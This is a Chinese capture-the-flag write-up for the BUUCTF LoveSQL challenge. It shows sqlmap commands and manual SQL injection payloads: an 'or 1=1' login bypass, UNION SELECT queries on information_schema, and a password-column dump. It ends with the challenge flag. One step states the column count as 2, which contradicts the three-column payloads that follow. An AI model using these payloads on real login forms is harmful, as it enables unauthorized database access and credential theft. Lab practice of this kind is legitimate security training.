题目来源:BUUCTF [极客大挑战 2019]LoveSQL 1
目录
[step 1:通过url进行爆破](#step 1:通过url进行爆破)
[step 2:抓包并将信息保存为文件进行爆破数据库](#step 2:抓包并将信息保存为文件进行爆破数据库)
[step 3:爆表](#step 3:爆表)
[step 4:爆列的所有信息](#step 4:爆列的所有信息)
[step 1:万能密码注入](#step 1:万能密码注入)
[step 2:判断字段数](#step 2:判断字段数)
[step 3:爆数据库](#step 3:爆数据库)
[step 4:爆表名](#step 4:爆表名)
[step 5:爆列名](#step 5:爆列名)
[step 6:爆具体数据](#step 6:爆具体数据)
一、打开靶机,分析信息

题目提示这道题是sql注入
查看源码,获取信息:①可尝试sqlmap;②可以手工注入
二、sqlmap解题------文件类
step 1:通过url进行爆破
直接复制url,使用 -u 进行爆破,但是总感觉哪里怪怪的,应该是传参的内容不太合适,所以改用文件方式进行爆破
step 2:抓包并将信息保存为文件进行爆破数据库
bp抓包后将信息保存在桌面的1.txt文件中,用-r指令进行爆破

口令:
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -dbs
得到5个数据库名,geek数据库最可疑,进行爆破
step 3:爆表
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek --tables
得到两个表,其中 l0ve1ysq1列 最可疑
step 4:爆列的所有信息
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek -T l0ve1ysq1 --dump
得到flag
三、手工注入爆破------万能密码
step 1:万能密码注入
username:1' or 1=1 # password:随便

注入点正确
step 2:判断字段数
%23是url编码后的#
sql
1' order by 3 %23

sql
1' order by 4 %23

所以可以得到字段数为2
step 3:爆数据库
这里可以加一步判断回显点
sql
1' union select 1,2,3%23

爆出数据库
sql
1' union select database(),database(),database()%23

得到数据库名geek
step 4:爆表名
sql
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'

step 5:爆列名
sql
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23

step 6:爆具体数据
sql
1' union select 1,2,password from geek.l0ve1ysq1 %23

得到了我们不需要的东西,所以应该一次性把数据全部输出
sql
1' union select 1,2,group_concat(password) from geek.l0ve1ysq1 %23

太长了,直接看源代码,得到flag为flag{8e405a18-97b4-4393-9991-ec7de04d993c}
四、小结
拿到题先寻找注入点,而后判断注入类型,尝试用万能密码登陆,sqlmap的使用很重要